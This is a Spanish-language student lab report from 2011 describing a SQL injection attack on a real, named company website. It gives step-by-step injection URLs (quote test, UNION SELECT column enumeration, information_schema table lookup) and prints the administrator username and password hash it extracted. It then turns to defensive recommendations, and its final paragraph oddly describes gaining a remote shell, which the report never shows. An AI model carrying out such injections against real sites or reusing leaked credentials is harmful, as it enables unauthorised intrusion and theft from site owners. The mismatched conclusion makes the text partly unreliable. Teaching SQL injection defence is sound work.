Universidad Cooperativa de Colombia Código:
13 de mayo de 2011
0108091226
Realizar ataques mediante SQL INJECTION averiguando con estos, Usuario y Contraseña del administrador de la página de tal manera que podamos con estos datos Usuario y contraseña, poder acceder a la base de datos de dicha página.
Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las las partes del programa con código código SQL. Error que se suele producir en páginas web, aunque puede producirse en cualquier programa que haga una llamada a una base de datos SQL, cuando se realiza una consulta usando como parte de ella datos que no han sido correctamente tratados (normalmente no escapando los caracteres delimitadores.
Página inicial http://www.groundstarresources.com/news /news.php?newsID=45
Universidad Cooperativa de Colombia Código:
13 de mayo de 2011
0108091226
Averiguamos si es vulnerable La página si es vulnerable, la identificamos colocando una (’) al final del link remplazando el último número que en este caso es 45 de modo que quede asi: Ej:
http://www.groundstarresources.com/news/news.php?newsID =' Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '’ LIMIT 1' at line 1
Mirar que líneas tienen error para eso utilizaremos estos parámetros, -1+union+all+select+0 -- aumentando números hasta que desaparezca el error, es decir Ej:
http://www.groundstarresources.com/news/news.php?newsID =' -1+union+all+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13--
Significa que hay 6 lineas con error y los dos numeros que nos aparecieron (1,2) nos indican las columnas que podemos utilizar. Nosotros utilizaremos el uno; la siguiente prueba que haremos es colocarle version() en la columna que escogimos donde nos mostrara unos numeros, quedando asi:
Universidad Cooperativa de Colombia Código:
13 de mayo de 2011
0108091226
Ahora averiguaremos el nombre de las tablas, para esto cambiamos el numero elegido por (table_name), y al final del link lo siguiente,
http://www.groundstarresources.com/news/news.php ?newsID= +from+information_schema.tables+limit+1,1-), aumentando el primer numero despues de el ultimo + hasta que me arroje el nombre de la tabla.
Aun no nos mostro el nombre asi que continuamos modificando el numero: En nuestro caso nos arrojo el nombre de la tabla (gsr_news_authors) con 18.
El siguiente paso es averiguar el nombre del usuario, para esto colocaremos al final del link esta linea (+from+gsr_news_authors), es el nombre arrojado en el paso anterior y remplazamos table_name por palabras hasta que nos arroje el nombre de usuario.
Universidad Cooperativa de Colombia Código:
13 de mayo de 2011
0108091226
En este intento con la palabra nombre nos arrojo un error asi que probaremos con mas palabras. Despues de varios intentos averiguamos que con la palabra name nos arrojo el mensaje admin el cual es el nombre que estamos buscando.
sera averiguar la contraseña o password, para esto tendremos que hacer lo mismo que el paso anterior, remplazar la palabra name por palabras que se relacionen con contraseña, tales como pass:
Ya tenemos los dos datos que necesitabamos, usuario(admin), contraseña(796729c325351e38), Ahora intentaremos ingresar a la base de datos. Para esto utilizaremos paginas que nos permiten atravez del link llegar hasta la URL del administrador.
Mantenerse actualizado al último Service Pack tanto del sistema operativo como de las aplicaciones que se están utilizando.
Universidad Cooperativa de Colombia Código:
13 de mayo de 2011
0108091226
Se recomienda establecer un perímetro controlado mediante el uso de firewalls (cortafuegos) vía hardware o software filtrando el acceso desde el exterior a los puertos críticos (lo que incluye los puertos TCP 1433 y UDP 1434). Para evitar aumentar el peligro también puede ser de mucha utilidad instalar los servidores de bases de datos en máquinas distintas a los servidores web. Todo esto sin dejar de lado el perímetro interno en lo relativo a la conectividad del SGBDR con el resto de la red interna. Es necesario tener una visión global de la estrategia de seguridad ya que es del todo inútil tener un host de base de datos con unos niveles de protección altísimos si está conectado a una máquina mal configurada o con facilidades de acceso.
Hay que verificar qué nivel de autenticación es el adecuado en el entorno, en función de la instalación del servidor de base de datos que se tenga, lo mismo que hay que controlar los privilegios que se establecen, sobre todo a las cuentas con las que se piensa trabajar para aplicaciones de desarrollo interno. De la misma forma, hay que establecer unas directivas de seguridad a nivel de host para defensa en profundidad, ayudándose de plantillas de seguridad "built-in" o de terceras partes, o en su defecto usando "ipsecpol" del kit de recursos de w2k.
Es importante el tener presente que este tipo de ataques “SQL INJECTION) son muy frecuentes, y pueden tener consecuencias irreparables en la integridad de nuestros datos. Inyección SQL es una metodología de ataque que se dirige a los datos que residen en una base de datos a través del servidor de seguridad que la protege. Se trata de modificar los parámetros de una aplicación basada en Web con el fin de modificar las instrucciones SQL que se analizan para recuperar datos de la base de datos.
Con esta práctica conocimos una herramienta y aprendimos la forma de obtener un Shell remoto de una máquina víctima a través de su dirección IP. Conocimos los principales comandos utilizados para obtener los payloads y ejecutar los ataques a la víctima.